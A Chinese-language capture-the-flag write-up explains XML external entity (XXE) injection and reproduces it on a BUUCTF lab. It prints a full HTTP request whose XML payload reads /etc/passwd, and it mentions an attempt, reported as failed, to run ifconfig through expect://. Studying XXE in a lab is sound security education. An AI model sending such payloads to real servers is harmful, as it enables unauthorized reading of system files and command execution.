【XXE | BUUCTF】 XML外部实体注入漏洞复现
漏洞简介
XXE(XML External Entity Injection)即 “XML 外部实体注入漏洞”。
攻击者通过向服务器注入指定的 XML 实体内容,从而让服务器按照指定的配置执行,导致问题产生。
服务端接收和解析了来自用户端的 XML 数据,又没有做严格的安全控制,从而导致 XXE 漏洞得以被利用,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。
在复现漏洞之前,需要了解什么是 XML。
XML 简介
可扩展标记语言(Extensible Markup Language,简称:XML)是一种标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。
-
XML 是一种很像 HTML 的标记语言,其设计宗旨是传输数据,而不是显示数据。
-
XML 标签没有被预定义,需要自行定义标签。
-
XML 被设计为具有自我描述性。
-
XML 是 W3C 的推荐标准。
XML 仅用来进行数据的存储和传输。
有关 XML 的语法和格式,以及 XXE 的更为详细的原理,可以参考以下链接:
漏洞靶场
BUUCTF 的 Real 分类下,[PHP]XXE
模块。
复现过程
首先访问题目给出的地址,发现是一个 phpinfo
界面:
经过上一次的解题经历,直觉告诉我 flag 可能就在这里面。
一搜,果然在这里:
但是这才刚开始,利用 XXE 才是首要目的。
通过 Vulhub 给出的信息:https://github.com/vulhub/vulhub/tree/master/php/php_xxe
我们先对网页进行抓包,然后发送到 Repeater 中:
接着将数据包替换为:
POST /simplexml_load_string.php HTTP/1.1
Host: node4.buuoj.cn:27608
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/xml
Content-Length: 161
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
可以看到,响应包中出现了敏感信息:
接着,我们通过替换 file:///etc/passwd
部分为 expect://ifconfig
,让其执行系统命令:
然而并没有成功,失败原因暂且不明。